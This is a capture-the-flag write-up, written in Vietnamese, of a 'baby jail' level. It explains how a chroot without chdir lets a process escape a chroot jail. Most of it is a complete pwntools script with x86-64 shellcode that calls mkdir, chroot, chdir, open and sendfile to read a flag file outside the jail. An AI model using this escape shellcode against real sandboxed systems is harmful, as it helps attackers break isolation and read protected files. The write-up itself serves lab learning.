---
# System prepended metadata

title: Write-up for week 2 tasks

---

**Write-up for week 2 task**
---

**1. Baby jail level 7 challenge:**

![image](https://hackmd.io/_uploads/rkM0gN1o6.png)
* Ở level này chúng ta được đưa vào jail và được phép chạy shellcode với các syscall chdir, chroot, mkdir, open, read, write, sendfile
     * ![image](https://hackmd.io/_uploads/ry10WEkj6.png)
* Có thể thấy vì được cấp quyền sử dụng lại chroot, mà chroot chỉ thay đổi root chứ không thay đổi cwd nên nếu chỉ chroot mà không chdir vào newroot đã chroot thì chương trình sẽ tạm thời không thể xác định được chúng ta đang ở đâu
    * ![image](https://hackmd.io/_uploads/rJijzN1ip.png)
* Tại thời điểm này vì chưa chdir vào jail nên chroot vẫn chưa có tác dụng, vậy nên chúng ta hoàn toàn có thể cd ../../../ để trở về /root rồi dùng open và sendfile hoặc open read write để lấy flag

=> Ý tưởng của mình là dùng mkdir để chroot đến dir vừa tạo -> chdir ../ để lùi ra 1 folder về tmp -> open ../flag để lùi thêm 1 folder nữa về root và mở flag -> sendfile flag vừa mới open ra màn hình và có được flag

Và đây là payload mình đã dùng để lấy flag:
```python!
from pwn import *
#context.terminal = ["tmux", "splitw", "-h"]
p = ["/challenge/babyjail_level7", "/"]

chall = process(p)

shell_mkdir = asm('''
    xor rax, rax
    xor rdi, rdi
    xor rsi, rsi
    mov rax, 0x53
    lea rdi, [rip]
    add rdi, 0x8
    syscall
    jmp $ + 0x5
''', arch = 'amd64', os = 'linux')
mkdir_arg = b'/x\x00'
shell_chroot = asm('''
    xor rax, rax
    xor rdi, rdi
    xor rsi, rsi
    mov rax, 0xa1
    lea rdi, [rip]
    add rdi, 0x8
    syscall
    jmp $ + 0x5 
''', arch = 'amd64', os = 'linux')

chroot_arg = b'/x\x00'

shell_chdir = asm('''
    xor rax, rax
    xor rdi, rdi
    xor rsi, rsi
    mov rax, 0x50
    lea rdi, [rip]
    add rdi, 0x8
    syscall
    jmp $ + 0x6
''', arch = 'amd64', os = 'linux')
chdir_arg = b'../\x00'
shell_open = asm('''
    xor rax, rax
    xor rdi, rdi
    xor rsi, rsi
    mov rax, 0x2
    lea rdi, [rip]
    add rdi, 0x8
    syscall
    jmp $ + 0xa
''', arch = 'amd64', os = 'linux')
open_arg = b'../flag\x00'
shell_sendfile = asm('''
    mov rsi, rax
    xor rax, rax
    xor rdi, rdi
    add rdi, 0x1
    mov rdx, 0x50
    mov r10, rdx
    xor rdx, rdx
    mov rax, 0x28
    syscall
''', arch = 'amd64', os = 'linux')

payload = shell_mkdir + mkdir_arg
payload += shell_chroot + chroot_arg
payload += shell_chdir + chdir_arg
payload += shell_open + open_arg
payload += shell_sendfile
chall.sendline(payload)
chall.interactive()
```
* Flag:
    * ![image](https://hackmd.io/_uploads/rySd7V1s6.png)
